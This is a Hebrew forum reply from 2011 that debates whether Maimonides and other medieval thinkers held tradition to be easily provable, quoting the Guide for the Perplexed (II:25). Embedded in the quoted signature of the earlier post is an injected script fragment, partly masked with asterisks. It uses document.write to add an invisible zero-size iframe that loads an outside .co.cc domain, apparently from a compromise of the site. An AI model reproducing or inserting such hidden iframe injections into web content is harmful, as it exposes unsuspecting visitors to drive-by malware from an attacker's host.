| נשלח ב-26/10/2011 23:09 |
 |
| |
| מיימוני כתב: |  | | הראשונים, כמו רס"ג, ריה"ל ואחרים סברו שכל המסורת היא אמיתית וקל להוכיחה. כל מה שצריך לעשות הוא רק להשליט בה סדר ולהביא כמה הוכחות למציאות אלוקים, והשאר מסתדר היטב.__ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הרמב"ם דווקא היה רחוק מלטעון כי "קל להוכיח, ובסדר גמור".
סתם דוגמה,
"כי אילו הוכח החידוש, ואפילו לפי השקפת אפלטון, היה נופל כל מה שהעזו בו הפילוסופים נגדנו.
וכן אילו נתקיימה להם הוכחה על הקדמות כפי השקפת אריסטו, הייתה נופלת כל התורה ויעבור הדבר להשקפות אחרות.
הנה ביארתי לך שכל הענק תלוי בחקירה זו דעהו" (מו"נ ב, כה)
***הפילוסופיה של הרמב"ם, כמו של אחרים מבני דורו, מתבססת על הנחות יסוד שהיום נראות בעינינו דחויות.***
בבקשה, מיימוני, תביא דוגמה (דוגמאות) להנחת יסוד פילוסופית מאת הרמב"ם, אשר נראית דחויה.
אחרת, דבריך יכולים להיראות דחויים ומטעים בדחייה הזאת הגורפת.
אולי "מודרניים" דווקא לא התקדמו אלא ירדו מן העומק הפילוסופי להתפתלות? אם לא, אז אודה לך על דוגמת ההתקדמות לעומק מאת מודרניים.
נ. ב. באילו ישיבות לומדים את מו"נ, או אולי את המודרניים, הרבה יש כאלו?
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
|
